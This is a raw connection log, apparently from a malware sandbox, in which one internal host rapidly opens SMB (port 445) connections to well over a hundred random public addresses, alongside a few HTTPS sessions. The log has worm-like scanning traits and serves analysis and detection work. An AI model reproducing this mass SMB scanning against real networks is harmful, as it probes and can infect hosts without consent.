Jul 20, 2022 09:07:57.766823053 CEST	50317	445	192.168.2.6	128.78.25.102
Jul 20, 2022 09:07:57.767983913 CEST	50318	445	192.168.2.6	43.197.79.206
Jul 20, 2022 09:07:57.923563957 CEST	50319	445	192.168.2.6	61.60.247.160
Jul 20, 2022 09:07:57.924354076 CEST	50320	445	192.168.2.6	38.216.72.253
Jul 20, 2022 09:07:57.925489902 CEST	50321	445	192.168.2.6	65.147.73.19
Jul 20, 2022 09:07:58.110605955 CEST	50322	445	192.168.2.6	21.167.115.144
Jul 20, 2022 09:07:58.311583996 CEST	50323	445	192.168.2.6	218.222.216.123
Jul 20, 2022 09:07:58.315618038 CEST	50324	445	192.168.2.6	157.172.163.237
Jul 20, 2022 09:07:58.545798063 CEST	50325	445	192.168.2.6	119.70.18.54
Jul 20, 2022 09:07:58.582228899 CEST	50326	445	192.168.2.6	218.93.145.113
Jul 20, 2022 09:07:58.811872959 CEST	50327	445	192.168.2.6	80.103.133.128
Jul 20, 2022 09:07:58.895796061 CEST	50328	445	192.168.2.6	189.143.24.109
Jul 20, 2022 09:07:58.896542072 CEST	50329	445	192.168.2.6	186.122.62.177
Jul 20, 2022 09:07:58.897308111 CEST	50330	445	192.168.2.6	69.95.51.69
Jul 20, 2022 09:07:58.898128986 CEST	50331	445	192.168.2.6	64.158.164.179
Jul 20, 2022 09:07:58.898999929 CEST	50332	445	192.168.2.6	62.63.128.129
Jul 20, 2022 09:07:58.899740934 CEST	50333	445	192.168.2.6	69.216.134.169
Jul 20, 2022 09:07:58.900495052 CEST	50334	445	192.168.2.6	133.189.69.170
Jul 20, 2022 09:07:58.901232958 CEST	50335	445	192.168.2.6	97.98.21.20
Jul 20, 2022 09:07:58.901937962 CEST	50336	445	192.168.2.6	119.219.205.95
Jul 20, 2022 09:07:59.046329975 CEST	50337	445	192.168.2.6	20.230.192.74
Jul 20, 2022 09:07:59.046349049 CEST	50338	445	192.168.2.6	130.245.74.208
Jul 20, 2022 09:07:59.046500921 CEST	50339	445	192.168.2.6	183.174.7.111
Jul 20, 2022 09:07:59.218049049 CEST	50340	445	192.168.2.6	219.230.124.167
Jul 20, 2022 09:07:59.437103987 CEST	50341	445	192.168.2.6	114.249.125.84
Jul 20, 2022 09:07:59.437875032 CEST	50342	445	192.168.2.6	20.64.185.200
Jul 20, 2022 09:07:59.671109915 CEST	50343	445	192.168.2.6	219.43.157.42
Jul 20, 2022 09:07:59.702231884 CEST	50344	445	192.168.2.6	168.12.216.24
Jul 20, 2022 09:07:59.937916040 CEST	50345	445	192.168.2.6	209.92.162.130
Jul 20, 2022 09:08:00.102372885 CEST	50346	445	192.168.2.6	78.64.73.122
Jul 20, 2022 09:08:00.116342068 CEST	50347	445	192.168.2.6	25.205.147.75
Jul 20, 2022 09:08:00.117594004 CEST	50348	445	192.168.2.6	134.4.223.162
Jul 20, 2022 09:08:00.118417025 CEST	50349	445	192.168.2.6	190.204.157.79
Jul 20, 2022 09:08:00.119152069 CEST	50350	445	192.168.2.6	133.26.25.115
Jul 20, 2022 09:08:00.119884968 CEST	50351	445	192.168.2.6	182.197.55.98
Jul 20, 2022 09:08:00.120629072 CEST	50352	445	192.168.2.6	1.228.225.118
Jul 20, 2022 09:08:00.121432066 CEST	50353	445	192.168.2.6	220.8.119.30
Jul 20, 2022 09:08:00.122405052 CEST	50354	445	192.168.2.6	3.69.194.101
Jul 20, 2022 09:08:00.245815039 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:00.360565901 CEST	50356	445	192.168.2.6	67.52.1.108
Jul 20, 2022 09:08:00.362701893 CEST	50357	445	192.168.2.6	136.1.215.224
Jul 20, 2022 09:08:00.362840891 CEST	50358	445	192.168.2.6	218.200.251.179
Jul 20, 2022 09:08:00.363117933 CEST	50359	445	192.168.2.6	172.217.231.208
Jul 20, 2022 09:08:00.386790037 CEST	50360	445	192.168.2.6	222.147.142.54
Jul 20, 2022 09:08:00.479492903 CEST	445	50355	201.187.246.1	192.168.2.6
Jul 20, 2022 09:08:00.479615927 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:00.591288090 CEST	50361	445	192.168.2.6	197.84.171.69
Jul 20, 2022 09:08:00.592071056 CEST	50362	445	192.168.2.6	145.88.7.64
Jul 20, 2022 09:08:00.797585011 CEST	50363	445	192.168.2.6	36.196.130.97
Jul 20, 2022 09:08:00.971880913 CEST	50364	445	192.168.2.6	180.241.25.180
Jul 20, 2022 09:08:01.289396048 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.289443016 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.289518118 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.290314913 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.290330887 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.302505970 CEST	50366	445	192.168.2.6	192.53.185.104
Jul 20, 2022 09:08:01.311079979 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:01.381998062 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.382128000 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.388384104 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.388407946 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.388930082 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.394107103 CEST	50367	445	192.168.2.6	34.35.231.8
Jul 20, 2022 09:08:01.394871950 CEST	50368	445	192.168.2.6	123.160.224.175
Jul 20, 2022 09:08:01.395615101 CEST	50369	445	192.168.2.6	38.93.159.4
Jul 20, 2022 09:08:01.396332979 CEST	50370	445	192.168.2.6	210.228.73.82
Jul 20, 2022 09:08:01.397062063 CEST	50371	445	192.168.2.6	222.199.109.233
Jul 20, 2022 09:08:01.397787094 CEST	50372	445	192.168.2.6	31.13.46.151
Jul 20, 2022 09:08:01.398487091 CEST	50373	445	192.168.2.6	22.211.29.66
Jul 20, 2022 09:08:01.399194956 CEST	50374	445	192.168.2.6	196.133.55.227
Jul 20, 2022 09:08:01.400105953 CEST	50375	445	192.168.2.6	201.44.133.44
Jul 20, 2022 09:08:01.432265997 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.432298899 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.432310104 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.432320118 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.465859890 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.465960979 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.466061115 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.509464979 CEST	50365	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:01.509501934 CEST	443	50365	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:01.513057947 CEST	50376	445	192.168.2.6	115.179.55.17
Jul 20, 2022 09:08:01.513875961 CEST	50377	445	192.168.2.6	132.10.239.179
Jul 20, 2022 09:08:01.517317057 CEST	50378	445	192.168.2.6	116.235.51.31
Jul 20, 2022 09:08:01.518054962 CEST	50379	445	192.168.2.6	112.183.193.69
Jul 20, 2022 09:08:01.519001961 CEST	50380	445	192.168.2.6	21.10.40.66
Jul 20, 2022 09:08:01.710539103 CEST	50381	445	192.168.2.6	116.240.224.137
Jul 20, 2022 09:08:01.711267948 CEST	50382	445	192.168.2.6	177.173.222.94
Jul 20, 2022 09:08:01.922044039 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:01.972668886 CEST	50383	445	192.168.2.6	216.38.222.94
Jul 20, 2022 09:08:02.095029116 CEST	50384	445	192.168.2.6	107.28.10.21
Jul 20, 2022 09:08:03.058975935 CEST	50385	445	192.168.2.6	16.16.162.66
Jul 20, 2022 09:08:03.059608936 CEST	50386	445	192.168.2.6	74.239.166.90
Jul 20, 2022 09:08:03.060262918 CEST	50387	445	192.168.2.6	156.168.58.35
Jul 20, 2022 09:08:03.060889006 CEST	50388	445	192.168.2.6	131.4.166.214
Jul 20, 2022 09:08:03.061606884 CEST	50389	445	192.168.2.6	124.243.117.254
Jul 20, 2022 09:08:03.062115908 CEST	50390	445	192.168.2.6	151.20.126.72
Jul 20, 2022 09:08:03.062643051 CEST	50391	445	192.168.2.6	157.227.231.121
Jul 20, 2022 09:08:03.063178062 CEST	50392	445	192.168.2.6	143.16.70.35
Jul 20, 2022 09:08:03.063683033 CEST	50393	445	192.168.2.6	202.148.208.62
Jul 20, 2022 09:08:03.064189911 CEST	50394	445	192.168.2.6	173.234.59.74
Jul 20, 2022 09:08:03.064754963 CEST	50395	445	192.168.2.6	52.51.234.205
Jul 20, 2022 09:08:03.065264940 CEST	50396	445	192.168.2.6	63.24.5.69
Jul 20, 2022 09:08:03.065777063 CEST	50397	445	192.168.2.6	205.47.252.127
Jul 20, 2022 09:08:03.066308022 CEST	50398	445	192.168.2.6	11.156.230.37
Jul 20, 2022 09:08:03.240976095 CEST	50399	445	192.168.2.6	34.178.237.43
Jul 20, 2022 09:08:03.242134094 CEST	50400	445	192.168.2.6	177.33.190.76
Jul 20, 2022 09:08:03.243208885 CEST	50401	445	192.168.2.6	34.206.66.118
Jul 20, 2022 09:08:03.244188070 CEST	50402	445	192.168.2.6	33.171.157.6
Jul 20, 2022 09:08:03.266477108 CEST	50403	445	192.168.2.6	220.40.171.182
Jul 20, 2022 09:08:03.514380932 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:04.379997969 CEST	50404	445	192.168.2.6	205.213.161.183
Jul 20, 2022 09:08:04.381403923 CEST	50405	445	192.168.2.6	141.119.148.66
Jul 20, 2022 09:08:04.382138014 CEST	50406	445	192.168.2.6	213.14.37.139
Jul 20, 2022 09:08:04.382828951 CEST	50407	445	192.168.2.6	193.198.62.147
Jul 20, 2022 09:08:04.383518934 CEST	50408	445	192.168.2.6	40.37.143.48
Jul 20, 2022 09:08:04.384200096 CEST	50409	445	192.168.2.6	65.154.170.37
Jul 20, 2022 09:08:04.384879112 CEST	50410	445	192.168.2.6	154.11.19.115
Jul 20, 2022 09:08:04.385859013 CEST	50411	445	192.168.2.6	16.194.251.172
Jul 20, 2022 09:08:04.386532068 CEST	50412	445	192.168.2.6	187.212.62.222
Jul 20, 2022 09:08:04.387289047 CEST	50413	445	192.168.2.6	94.115.222.195
Jul 20, 2022 09:08:04.387989044 CEST	50414	445	192.168.2.6	118.4.150.233
Jul 20, 2022 09:08:04.388667107 CEST	50415	445	192.168.2.6	196.14.16.250
Jul 20, 2022 09:08:04.390109062 CEST	50416	445	192.168.2.6	8.126.241.183
Jul 20, 2022 09:08:04.390856981 CEST	50417	445	192.168.2.6	139.131.231.242
Jul 20, 2022 09:08:04.488086939 CEST	50418	445	192.168.2.6	77.110.110.44
Jul 20, 2022 09:08:04.488867998 CEST	50419	445	192.168.2.6	31.232.235.224
Jul 20, 2022 09:08:04.489547014 CEST	50420	445	192.168.2.6	95.84.185.14
Jul 20, 2022 09:08:04.490206003 CEST	50421	445	192.168.2.6	65.120.138.149
Jul 20, 2022 09:08:04.491202116 CEST	50422	445	192.168.2.6	73.197.242.144
Jul 20, 2022 09:08:04.507728100 CEST	50423	445	192.168.2.6	82.154.44.43
Jul 20, 2022 09:08:04.591320038 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.591376066 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.591458082 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.593369961 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.593389988 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.684288025 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.684428930 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.692208052 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.692233086 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.692610025 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.694205046 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.694262028 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.694269896 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.694426060 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.721533060 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.721621990 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.721685886 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.721774101 CEST	50424	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:04.721796989 CEST	443	50424	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:04.954727888 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:04.954787016 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:04.954883099 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:04.955483913 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:04.955495119 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.097734928 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.097867012 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.120877028 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.120898962 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.257622004 CEST	50426	445	192.168.2.6	167.161.238.97
Jul 20, 2022 09:08:05.362452984 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.362477064 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.482470989 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.482532978 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.482655048 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.489989042 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.490025997 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.505058050 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.505091906 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.505165100 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.505172014 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.505243063 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.521452904 CEST	50428	445	192.168.2.6	115.22.82.232
Jul 20, 2022 09:08:05.522186995 CEST	50429	445	192.168.2.6	105.97.90.43
Jul 20, 2022 09:08:05.524518967 CEST	50430	445	192.168.2.6	57.11.244.242
Jul 20, 2022 09:08:05.527825117 CEST	50433	445	192.168.2.6	126.98.164.215
Jul 20, 2022 09:08:05.527842999 CEST	50431	445	192.168.2.6	18.157.84.167
Jul 20, 2022 09:08:05.527965069 CEST	50434	445	192.168.2.6	51.170.210.40
Jul 20, 2022 09:08:05.527966022 CEST	50432	445	192.168.2.6	171.138.168.59
Jul 20, 2022 09:08:05.528095007 CEST	50435	445	192.168.2.6	15.237.184.21
Jul 20, 2022 09:08:05.528170109 CEST	50436	445	192.168.2.6	153.161.102.243
Jul 20, 2022 09:08:05.528242111 CEST	50437	445	192.168.2.6	15.35.12.55
Jul 20, 2022 09:08:05.528316975 CEST	50439	445	192.168.2.6	212.218.240.119
Jul 20, 2022 09:08:05.528342009 CEST	50438	445	192.168.2.6	39.81.208.224
Jul 20, 2022 09:08:05.528436899 CEST	50440	445	192.168.2.6	4.123.191.108
Jul 20, 2022 09:08:05.528570890 CEST	50441	445	192.168.2.6	6.113.166.32
Jul 20, 2022 09:08:05.530000925 CEST	50425	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.530024052 CEST	443	50425	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.593430042 CEST	50442	445	192.168.2.6	69.135.79.232
Jul 20, 2022 09:08:05.594109058 CEST	50443	445	192.168.2.6	25.112.183.107
Jul 20, 2022 09:08:05.594821930 CEST	50444	445	192.168.2.6	215.235.0.179
Jul 20, 2022 09:08:05.595782995 CEST	50445	445	192.168.2.6	53.126.135.98
Jul 20, 2022 09:08:05.596652031 CEST	50446	445	192.168.2.6	198.196.234.129
Jul 20, 2022 09:08:05.605956078 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.606015921 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.606117964 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.626565933 CEST	50448	445	192.168.2.6	138.35.119.215
Jul 20, 2022 09:08:05.634274960 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.634358883 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.640501022 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.640528917 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.645133018 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.645148039 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.647145987 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.647161007 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.819948912 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.819988966 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.820014954 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.820127010 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.820159912 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.820292950 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.820733070 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.820811033 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.826303959 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.826322079 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.826855898 CEST	445	50436	153.161.102.243	192.168.2.6
Jul 20, 2022 09:08:05.850430012 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.850457907 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.864578009 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.864691019 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:05.864703894 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.864736080 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.864866018 CEST	50427	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:05.864891052 CEST	443	50427	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:06.000442028 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:06.000472069 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:06.000556946 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:06.000562906 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:06.000595093 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:06.000642061 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:06.001146078 CEST	50447	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:06.001178026 CEST	443	50447	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:06.374710083 CEST	50449	445	192.168.2.6	45.79.136.106
Jul 20, 2022 09:08:06.420874119 CEST	50436	445	192.168.2.6	153.161.102.243
Jul 20, 2022 09:08:06.420948982 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:06.483314037 CEST	445	50449	45.79.136.106	192.168.2.6
Jul 20, 2022 09:08:06.641701937 CEST	50450	445	192.168.2.6	58.93.207.75
Jul 20, 2022 09:08:06.642452002 CEST	50451	445	192.168.2.6	141.241.251.153
Jul 20, 2022 09:08:06.643167019 CEST	50452	445	192.168.2.6	190.44.106.214
Jul 20, 2022 09:08:06.643887997 CEST	50453	445	192.168.2.6	201.212.235.19
Jul 20, 2022 09:08:06.644562960 CEST	50454	445	192.168.2.6	88.43.43.170
Jul 20, 2022 09:08:06.645318985 CEST	50455	445	192.168.2.6	175.218.135.16
Jul 20, 2022 09:08:06.646074057 CEST	50456	445	192.168.2.6	151.244.253.128
Jul 20, 2022 09:08:06.646867037 CEST	50457	445	192.168.2.6	67.119.18.75
Jul 20, 2022 09:08:06.647609949 CEST	50458	445	192.168.2.6	104.29.98.53
Jul 20, 2022 09:08:06.648364067 CEST	50459	445	192.168.2.6	78.119.55.33
Jul 20, 2022 09:08:06.649272919 CEST	50460	445	192.168.2.6	182.236.79.87
Jul 20, 2022 09:08:06.650028944 CEST	50461	445	192.168.2.6	176.179.44.24
Jul 20, 2022 09:08:06.650775909 CEST	50462	445	192.168.2.6	69.2.12.193
Jul 20, 2022 09:08:06.651506901 CEST	50463	445	192.168.2.6	19.254.122.137
Jul 20, 2022 09:08:06.720043898 CEST	50464	445	192.168.2.6	35.1.242.149
Jul 20, 2022 09:08:06.720045090 CEST	50465	445	192.168.2.6	184.169.200.241
Jul 20, 2022 09:08:06.720164061 CEST	50466	445	192.168.2.6	192.9.50.167
Jul 20, 2022 09:08:06.720264912 CEST	50467	445	192.168.2.6	3.4.38.237
Jul 20, 2022 09:08:06.720576048 CEST	50468	445	192.168.2.6	17.209.16.35
Jul 20, 2022 09:08:06.721405029 CEST	445	50436	153.161.102.243	192.168.2.6
Jul 20, 2022 09:08:06.755072117 CEST	50469	445	192.168.2.6	207.115.97.90
Jul 20, 2022 09:08:07.124233961 CEST	50449	445	192.168.2.6	45.79.136.106
Jul 20, 2022 09:08:07.227866888 CEST	445	50449	45.79.136.106	192.168.2.6
Jul 20, 2022 09:08:07.268836975 CEST	50470	445	192.168.2.6	155.156.112.143
Jul 20, 2022 09:08:07.517801046 CEST	50471	445	192.168.2.6	33.35.153.204
Jul 20, 2022 09:08:07.788404942 CEST	50472	445	192.168.2.6	194.234.105.66
Jul 20, 2022 09:08:07.790023088 CEST	50473	445	192.168.2.6	107.100.230.45
Jul 20, 2022 09:08:07.790127993 CEST	50474	445	192.168.2.6	202.8.143.216
Jul 20, 2022 09:08:07.790218115 CEST	50475	445	192.168.2.6	186.96.235.246
Jul 20, 2022 09:08:07.790386915 CEST	50476	445	192.168.2.6	143.121.11.67
Jul 20, 2022 09:08:07.790498972 CEST	50477	445	192.168.2.6	63.158.152.99
Jul 20, 2022 09:08:07.790616035 CEST	50478	445	192.168.2.6	215.106.58.229
Jul 20, 2022 09:08:07.790726900 CEST	50479	445	192.168.2.6	149.146.109.248
Jul 20, 2022 09:08:07.790843010 CEST	50480	445	192.168.2.6	21.43.39.180
Jul 20, 2022 09:08:07.790944099 CEST	50481	445	192.168.2.6	163.52.167.153
Jul 20, 2022 09:08:07.791054964 CEST	50482	445	192.168.2.6	3.109.239.173
Jul 20, 2022 09:08:07.791152954 CEST	50483	445	192.168.2.6	183.254.157.209
Jul 20, 2022 09:08:07.791250944 CEST	50484	445	192.168.2.6	156.246.45.115
Jul 20, 2022 09:08:07.791373014 CEST	50485	445	192.168.2.6	63.175.180.228
Jul 20, 2022 09:08:07.832192898 CEST	50486	445	192.168.2.6	26.177.83.204
Jul 20, 2022 09:08:07.833054066 CEST	50487	445	192.168.2.6	121.6.93.136
Jul 20, 2022 09:08:07.833801985 CEST	50488	445	192.168.2.6	47.146.202.145
Jul 20, 2022 09:08:07.834538937 CEST	50489	445	192.168.2.6	33.165.245.171
Jul 20, 2022 09:08:07.835751057 CEST	50490	445	192.168.2.6	167.232.115.190
Jul 20, 2022 09:08:07.877223969 CEST	50491	445	192.168.2.6	38.5.43.229
Jul 20, 2022 09:08:08.392241955 CEST	50492	445	192.168.2.6	208.75.4.233
Jul 20, 2022 09:08:08.640921116 CEST	50493	445	192.168.2.6	142.29.36.16
Jul 20, 2022 09:08:08.907932043 CEST	50494	445	192.168.2.6	78.38.142.243
Jul 20, 2022 09:08:08.908659935 CEST	50495	445	192.168.2.6	39.107.13.164
Jul 20, 2022 09:08:08.909292936 CEST	50496	445	192.168.2.6	40.59.43.49
Jul 20, 2022 09:08:08.910012007 CEST	50497	445	192.168.2.6	130.185.155.233
Jul 20, 2022 09:08:08.942523956 CEST	50498	445	192.168.2.6	209.204.254.239
Jul 20, 2022 09:08:08.943218946 CEST	50499	445	192.168.2.6	29.14.238.43
Jul 20, 2022 09:08:08.943269014 CEST	50500	445	192.168.2.6	174.180.222.50
Jul 20, 2022 09:08:08.943329096 CEST	50501	445	192.168.2.6	143.146.172.239
Jul 20, 2022 09:08:08.943393946 CEST	50502	445	192.168.2.6	170.0.224.167
Jul 20, 2022 09:08:08.943473101 CEST	50503	445	192.168.2.6	113.184.247.243
Jul 20, 2022 09:08:08.943536043 CEST	50504	445	192.168.2.6	193.73.85.200
Jul 20, 2022 09:08:08.943623066 CEST	50505	445	192.168.2.6	138.176.90.102
Jul 20, 2022 09:08:08.943639040 CEST	50506	445	192.168.2.6	183.157.3.182
Jul 20, 2022 09:08:08.943747997 CEST	50507	445	192.168.2.6	167.98.222.16
Jul 20, 2022 09:08:08.956125975 CEST	50508	445	192.168.2.6	115.106.145.205
Jul 20, 2022 09:08:08.956322908 CEST	50509	445	192.168.2.6	93.242.52.111
Jul 20, 2022 09:08:08.956486940 CEST	50510	445	192.168.2.6	179.84.34.169
Jul 20, 2022 09:08:08.956521988 CEST	50511	445	192.168.2.6	203.238.199.197
Jul 20, 2022 09:08:08.956589937 CEST	50512	445	192.168.2.6	152.108.244.243
Jul 20, 2022 09:08:08.988027096 CEST	50513	445	192.168.2.6	191.205.191.238
Jul 20, 2022 09:08:09.284161091 CEST	50514	445	192.168.2.6	107.163.170.203
Jul 20, 2022 09:08:09.517605066 CEST	50515	445	192.168.2.6	212.181.65.251
Jul 20, 2022 09:08:09.810758114 CEST	50516	445	192.168.2.6	3.10.58.12
Jul 20, 2022 09:08:10.016073942 CEST	50517	445	192.168.2.6	12.205.114.78
Jul 20, 2022 09:08:10.016936064 CEST	50518	445	192.168.2.6	69.218.63.222
Jul 20, 2022 09:08:10.017590046 CEST	50519	445	192.168.2.6	58.233.171.230
Jul 20, 2022 09:08:10.018351078 CEST	50520	445	192.168.2.6	94.242.187.137
Jul 20, 2022 09:08:10.056664944 CEST	50521	445	192.168.2.6	189.159.205.177
Jul 20, 2022 09:08:10.057312012 CEST	50522	445	192.168.2.6	151.51.99.228
Jul 20, 2022 09:08:10.057868004 CEST	50523	445	192.168.2.6	196.32.231.72
Jul 20, 2022 09:08:10.058417082 CEST	50524	445	192.168.2.6	183.80.35.124
Jul 20, 2022 09:08:10.058952093 CEST	50525	445	192.168.2.6	169.31.78.5
Jul 20, 2022 09:08:10.060599089 CEST	50526	445	192.168.2.6	102.1.149.179
Jul 20, 2022 09:08:10.064472914 CEST	50527	445	192.168.2.6	213.132.104.33
Jul 20, 2022 09:08:10.064614058 CEST	50528	445	192.168.2.6	156.158.153.162
Jul 20, 2022 09:08:10.065041065 CEST	50529	445	192.168.2.6	186.235.6.43
Jul 20, 2022 09:08:10.065275908 CEST	50530	445	192.168.2.6	159.212.158.243
Jul 20, 2022 09:08:10.068933010 CEST	50532	445	192.168.2.6	204.85.23.14
Jul 20, 2022 09:08:10.068955898 CEST	50531	445	192.168.2.6	2.230.247.113
Jul 20, 2022 09:08:10.069114923 CEST	50533	445	192.168.2.6	5.95.82.129
Jul 20, 2022 09:08:10.069156885 CEST	50535	445	192.168.2.6	94.86.217.16
Jul 20, 2022 09:08:10.069192886 CEST	50534	445	192.168.2.6	56.203.137.240
Jul 20, 2022 09:08:10.110439062 CEST	50536	445	192.168.2.6	79.43.14.160
Jul 20, 2022 09:08:10.407944918 CEST	50537	445	192.168.2.6	151.181.174.69
Jul 20, 2022 09:08:10.640743971 CEST	50538	445	192.168.2.6	184.184.155.239
Jul 20, 2022 09:08:10.922894001 CEST	50539	445	192.168.2.6	134.167.213.231
Jul 20, 2022 09:08:11.140903950 CEST	50540	445	192.168.2.6	135.105.155.109
Jul 20, 2022 09:08:11.141661882 CEST	50541	445	192.168.2.6	29.235.156.2
Jul 20, 2022 09:08:11.142435074 CEST	50542	445	192.168.2.6	141.37.32.33
Jul 20, 2022 09:08:11.143341064 CEST	50543	445	192.168.2.6	219.129.30.185
Jul 20, 2022 09:08:11.174499989 CEST	50544	445	192.168.2.6	44.99.129.142
